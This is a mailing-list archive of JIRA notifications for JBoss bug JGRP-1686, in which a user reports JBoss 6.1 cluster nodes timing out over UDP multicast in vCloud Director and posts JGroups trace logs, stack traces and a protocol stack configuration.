> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,213 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:26,213 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:26,790 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:26,790 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [UDP] (Incoming-1,null) received [dst: <null>, src: OM2:1299 (4 headers), size=391 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=11, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=13], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:27,789 TRACE [NAKACK] (Incoming-1,null) OM1:1299: received OM2:1299#13
> 2013-08-30 09:50:28,116 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:28,116 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:31,595 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:31,595 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:32,921 TRACE [NAKACK] (Timer-2,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:32,921 TRACE [UDP] (Timer-2,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:50:35,948 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:35,948 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,228 TRACE [FD] (OOB-17,null) received are-you-alive from OM2:1299, sending response
> 2013-08-30 09:50:36,228 TRACE [UDP] (OOB-17,null) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat ack, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-7,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:36,400 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:37,726 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:37,726 TRACE [UDP] (Timer-5,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (OOB-17,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (OOB-17,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-8,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [UDP] (Incoming-5,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:41,205 TRACE [NAKACK] (Incoming-5,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:50:42,531 TRACE [NAKACK] (Timer-4,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
> 2013-08-30 09:50:42,531 TRACE [UDP] (Timer-4,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are NAKACK: [XMIT_REQ, range=[7 : 7], sender=OM2:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [UDP] (Incoming-10,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:42,890 TRACE [NAKACK] (Incoming-10,null) OM1:1299: received OM1:1299#14
> 2013-08-30 09:50:42,890 TRACE [MFC] (Incoming-10,null) OM1:1299 used 354 credits, 1997829 remaining
> 2013-08-30 09:50:44,824 TRACE [UDP] (OOB-17,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=14], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:50:44,824 TRACE [NAKACK] (OOB-17,null) OM1:1299: received OM2:1299#14
> 2013-08-30 09:50:44,824 TRACE [VIEW_SYNC] (OOB-17,null) view from OM2:1299 ([OM1:1299|1]) is same as my own view; ignoring

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 08:30:03 2013
From: jira-events at lists.jboss.org (sachin jopat (JIRA))
Date: Tue, 3 Sep 2013 08:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1686) JBOSS CLUSTER issues in
	vCloud Director
In-Reply-To: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499806.1378199325000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499806.1378199325000.5743.1378211403895@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1686?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801109#comment-12801109 ] 

sachin jopat commented on JGRP-1686:
------------------------------------

Bela,
I see the below error on the cluster nodes on JGroups:-

09:05:54,281 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:04,296 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:14,311 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:24,327 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:34,342 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:44,357 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:06:54,372 DEBUG [org.jgroups.protocols.FD] sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
09:07:01,096 ERROR [org.jboss.kernel.plugins.dependency.AbstractKernelController] Error installing to Create: name=b85784b8 aliases=[ProfileKey at 39157c
90[domain=default, server=default, name=farm]] state=Configured mode=Manual requiredState=Installed: java.lang.RuntimeException: org.jgroups.TimeoutEx
ception: timeout sending message to OM2:1299
        at org.jboss.profileservice.cluster.repository.DefaultRepositoryClusteringHandler.rethrowAsUnchecked(DefaultRepositoryClusteringHandler.java:9
41) [:6.1.0.Final]
        at org.jboss.profileservice.cluster.repository.DefaultRepositoryClusteringHandler.getModificationsFromCluster(DefaultRepositoryClusteringHandl
er.java:541) [:6.1.0.Final]
        at org.jboss.profileservice.cluster.repository.DefaultRepositoryClusteringHandler.synchronizeContent(DefaultRepositoryClusteringHandler.java:3
08) [:6.1.0.Final]
        at org.jboss.system.server.profileservice.repository.clustered.ClusteredDeploymentRepository.load(ClusteredDeploymentRepository.java:271) [:6.
1.0.Final]
        at org.jboss.profileservice.repository.legacy.DelegateProfile.create(DelegateProfile.java:138) [:0.2.2]
        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [:1.6.0_32]
        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) [:1.6.0_32]
        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) [:1.6.0_32]
        at java.lang.reflect.Method.invoke(Method.java:597) [:1.6.0_32]
        at org.jboss.reflect.plugins.introspection.ReflectionUtils.invoke(ReflectionUtils.java:60) [jboss-reflect.jar:2.2.1.SP1]
        at org.jboss.reflect.plugins.introspection.ReflectMethodInfoImpl.invoke(ReflectMethodInfoImpl.java:168) [jboss-reflect.jar:2.2.1.SP1]
        at org.jboss.joinpoint.plugins.BasicMethodJoinPoint.dispatch(BasicMethodJoinPoint.java:66) [jboss-reflect.jar:2.2.1.SP1]
        at org.jboss.kernel.plugins.dependency.KernelControllerContextAction$JoinpointDispatchWrapper.execute(KernelControllerContextAction.java:257)
[jboss-kernel.jar:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.ExecutionWrapper.execute(ExecutionWrapper.java:47) [jboss-kernel.jar:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.KernelControllerContextAction.dispatchExecutionWrapper(KernelControllerContextAction.java:125) [jboss-k
ernel.jar:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.KernelControllerContextAction.dispatchJoinPoint(KernelControllerContextAction.java:72) [jboss-kernel.ja
r:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.LifecycleAction.installActionInternal(LifecycleAction.java:202) [jboss-kernel.jar:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:54) [jboss-kernel.jar:2.2.0.SP2]
        at org.jboss.kernel.plugins.dependency.InstallsAwareAction.installAction(InstallsAwareAction.java:42) [jboss-kernel.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.action.SimpleControllerContextAction.simpleInstallAction(SimpleControllerContextAction.java:62) [jboss-depende
ncy.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.action.AccessControllerContextAction.install(AccessControllerContextAction.java:71) [jboss-dependency.jar:2.2.
0.SP2]
        at org.jboss.dependency.plugins.AbstractControllerContextActions.install(AbstractControllerContextActions.java:51) [jboss-dependency.jar:2.2.0
.SP2]
        at org.jboss.dependency.plugins.AbstractControllerContext.install(AbstractControllerContext.java:379) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.install(AbstractController.java:2044) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.incrementState(AbstractController.java:1083) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.executeOrIncrementStateDirectly(AbstractController.java:1322) [jboss-dependency.jar:2.2.0.S
P2]
        at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1246) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.resolveContexts(AbstractController.java:1139) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:939) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.dependency.plugins.AbstractController.change(AbstractController.java:654) [jboss-dependency.jar:2.2.0.SP2]
        at org.jboss.profileservice.dependency.ProfileActivationWrapper$BasicProfileActivation.start(ProfileActivationWrapper.java:190) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationWrapper.start(ProfileActivationWrapper.java:87) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationService.activateProfile(ProfileActivationService.java:215) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationService.activate(ProfileActivationService.java:159) [:0.2.2]
        at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.activate(AbstractProfileServiceBootstrap.java:112) [:0.2.2]
        at org.jboss.profileservice.resolver.BasicResolverFactory$ProfileResolverFacade.deploy(BasicResolverFactory.java:87) [:0.2.2]
        at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.start(AbstractProfileServiceBootstrap.java:91) [:0.2.2]
        at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:132) [:6.1.0.Final]
        at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:56) [:6.1.0.Final]
        at org.jboss.bootstrap.impl.base.server.AbstractServer.startBootstraps(AbstractServer.java:827) [jboss-bootstrap-impl-base.jar:2.1.0-alpha-6]
        at org.jboss.bootstrap.impl.base.server.AbstractServer$StartServerTask.run(AbstractServer.java:417) [jboss-bootstrap-impl-base.jar:2.1.0-alpha
-6]
        at java.lang.Thread.run(Thread.java:662) [:1.6.0_32]
Caused by: org.jgroups.TimeoutException: timeout sending message to OM2:1299
        at org.jgroups.blocks.MessageDispatcher.sendMessage(MessageDispatcher.java:577) [:2.11.0.GA]
        at org.jgroups.blocks.RpcDispatcher.callRemoteMethod(RpcDispatcher.java:383) [:2.11.0.GA]
        at org.jboss.ha.core.framework.server.CoreGroupCommunicationService.callMethodOnNode(CoreGroupCommunicationService.java:557) [:1.0.0.Final]
        at org.jboss.ha.core.framework.server.CoreGroupCommunicationService.callMethodOnNode(CoreGroupCommunicationService.java:511) [:1.0.0.Final]
        at org.jboss.profileservice.cluster.repository.DefaultRepositoryClusteringHandler.getModificationsFromCluster(DefaultRepositoryClusteringHandl
er.java:505) [:6.1.0.Final]
        ... 40 more

09:07:01,127 ERROR [ProfileServiceBootstrap] failed to start server: java.lang.IllegalStateException: Incompletely deployed:

*** PROFILES IN ERROR: Name -> Error
Profile: ProfileKey at 39157c90[domain=default, server=default, name=farm] in error due to java.lang.RuntimeException: org.jgroups.TimeoutException: time
out sending message to OM2:1299

        at org.jboss.profileservice.dependency.ProfileValidationUtil.logErrors(ProfileValidationUtil.java:186) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileValidationUtil.validate(ProfileValidationUtil.java:61) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationWrapper$BasicProfileActivation.validate(ProfileActivationWrapper.java:220) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationWrapper.validate(ProfileActivationWrapper.java:116) [:0.2.2]
        at org.jboss.profileservice.dependency.ProfileActivationService.validate(ProfileActivationService.java:194) [:0.2.2]
        at org.jboss.profileservice.AbstractProfileService.validateProfile(AbstractProfileService.java:190) [:0.2.2]
        at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.activate(AbstractProfileServiceBootstrap.java:116) [:0.2.2]
        at org.jboss.profileservice.resolver.BasicResolverFactory$ProfileResolverFacade.deploy(BasicResolverFactory.java:87) [:0.2.2]
        at org.jboss.profileservice.bootstrap.AbstractProfileServiceBootstrap.start(AbstractProfileServiceBootstrap.java:91) [:0.2.2]
        at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:132) [:6.1.0.Final]
        at org.jboss.system.server.profileservice.bootstrap.BasicProfileServiceBootstrap.start(BasicProfileServiceBootstrap.java:56) [:6.1.0.Final]
        at org.jboss.bootstrap.impl.base.server.AbstractServer.startBootstraps(AbstractServer.java:827) [jboss-bootstrap-impl-base.jar:2.1.0-alpha-6]
        at org.jboss.bootstrap.impl.base.server.AbstractServer$StartServerTask.run(AbstractServer.java:417) [jboss-bootstrap-impl-base.jar:2.1.0-alpha
-6]
        at java.lang.Thread.run(Thread.java:662) [:1.6.0_32]
                
> JBOSS CLUSTER issues in vCloud Director
> ---------------------------------------
>
>                 Key: JGRP-1686
>                 URL: https://issues.jboss.org/browse/JGRP-1686
>             Project: JGroups
>          Issue Type: Bug
>         Environment: VMWare vCloud Director
>            Reporter: sachin jopat
>            Assignee: Bela Ban
>              Labels: new_and_noteworthy
>
> Background:-
> We recently migrated from VM LabManager to VM vCloud director for virtualization and have been using JBOSS6.1.0 from sometime. So this may not be an issue in JBOSS, but looking for a workaround here.
> Problem Statement:-
> While starting Cluster server, it fails to communicate with other servers using UDP multicast for cluster communication, but when we change the transport mechanism from UDP to TCP  for cluster communication, the same settings work. Strange, but however we tested UDP multicast is not blocked on VCloud.
> Below is the change in the Jboss application run.bat file, which worked. But using tcp is not a preferred option especially when we plan to have 8-10 clusters:-
> Original 
> ?set COMMAND_ARGS=%COMMAND_ARGS% -u %REM_MCAST_ADDR%? 
> Changed
> ?set COMMAND_ARGS=%COMMAND_ARGS% -Djboss.default.jgroups.stack=tcp?
> Changes to run JBoss clusters are confined to the JGroups configuration and all configurations for UDP and TCP are in the below XML file:-
> JBOSS/server/CONFIG/deploy/cluster/jgroupschannelfactory.sar/META-INF/jgroups-channelfactorystacks.xml
> Sample configuration:-
> <protocol_stacks>
> <stack name="udp">
> <config>
> <UDP bind_port="${jboss.jgroups.udp.bind_port:55200}" />
> <PING timeout="2000" num_initial_members="3"/>
> <MERGE2 max_interval="100000" min_interval="20000"/>
> <FD_SOCK/>
> <FD timeout="6000" max_tries="5"/>
> <pbcast.NAKACK retransmit_timeout="300,600,1200" />
> <UNICAST timeout="300,600,1200,2400,3600"/>
> <pbcast.STABLE desired_avg_gossip="50000" max_bytes="400k"/>
> <pbcast.GMS join_timeout="3000" />
> <FRAG2 frag_size="60k"/>
> </config>
> </stack>
> <stack name="tcp">
> <config>
> <TCP start_port="${jboss.jgroups.tcp.tcp_port:7600}"/>
> <TCPPING timeout="3000"
> initial_hosts="Host-A[7600],Host-B[7600]?/>
> ...
> </config>
> </stack>
> </protocol_stacks>
> Please find below the logs.
> So it stops at the below step on the agent cluster node which we try to start soon after Farm agent server successfully started:-
> Cluster agent boot log:-
> 09:49:39,196 INFO  [HANamingService] Started HAJNDI bootstrap; jnpPort=1300, backlog=50, bindAddress=OM2/192.168.1.201
> 09:49:39,211 INFO  [DetachedHANamingService$AutomaticDiscovery] Listening on /192.168.1.201:1102, group=224.1.1.3, HA-JNDI address=192.168.1.201:1300
> 09:49:39,227 INFO  [TransactionManagerFactory] Using a batchMode transaction manager
> 09:49:39,242 INFO  [ComponentsJmxRegistration] Could not register object with name: org.infinispan:type=Cache,name="distributed-tree(repl_sync)",manager="ha-partition",component=Cache
> 09:49:39,242 INFO  [CacheJmxRegistration] MBeans were successfully registered to the platform mbean server.
> 09:49:39,258 INFO  [RpcManagerImpl] Trying to fetch state from OM1:1299
> 09:49:39,492 INFO  [RpcManagerImpl] Successfully retrieved and applied state from OM1:1299
> 09:49:39,492 INFO  [ComponentRegistry] Infinispan version: Infinispan 'Ursus' 4.2.0.FINAL
> 09:49:39,492 INFO  [DefaultCacheContainerFactory] Started "distributed-tree" cache from "ha-partition" container
> Farm agent server log:-
> 2013-08-30 09:48:16,374 INFO  [Http11Protocol] (Thread-2) Starting Coyote HTTP/1.1 on http-OM1%2F192.168.1.200-8280
> 2013-08-30 09:48:16,390 INFO  [AjpProtocol] (Thread-2) Starting Coyote AJP/1.3 on ajp-OM1%2F192.168.1.200-8209
> 2013-08-30 09:48:16,390 INFO  [AbstractServer] (Thread-2) JBossAS [6.1.0.Final "Neo"] Started in 1m:6s:488ms
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (Timer-5,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-11,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-11,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-12,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [UDP] (OOB-13,null) received [dst: OM1:1299, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:58,463 TRACE [PING] (OOB-13,null) received GET_MBRS_RSP from OM1:1299: own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) sending msg to null, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [UDP] (Timer-2,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=0 bytes, flags=OOB], headers are PING: [PING: type=GET_MBRS_REQ, cluster=om-agent-om-fence-HAPartition, arg=own_addr=OM1:1299, view id=null, is_server=false, is_coord=false, logical_name=OM1:1299, physical_addrs=192.168.1.200:55400], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:48:59,477 TRACE [PING] (OOB-14,null) received GET_MBRS_REQ from OM1:1299, sending response [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299]
> 2013-08-30 09:48:59,477 TRACE [UDP] (OOB-14,null) sending msg to OM1:1299, src=OM1:1299, headers are PING: [PING: type=GET_MBRS_RSP, arg=own_addr=OM1:1299, view id=[OM1:1299|0], is_server=true, is_coord=true, logical_name=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
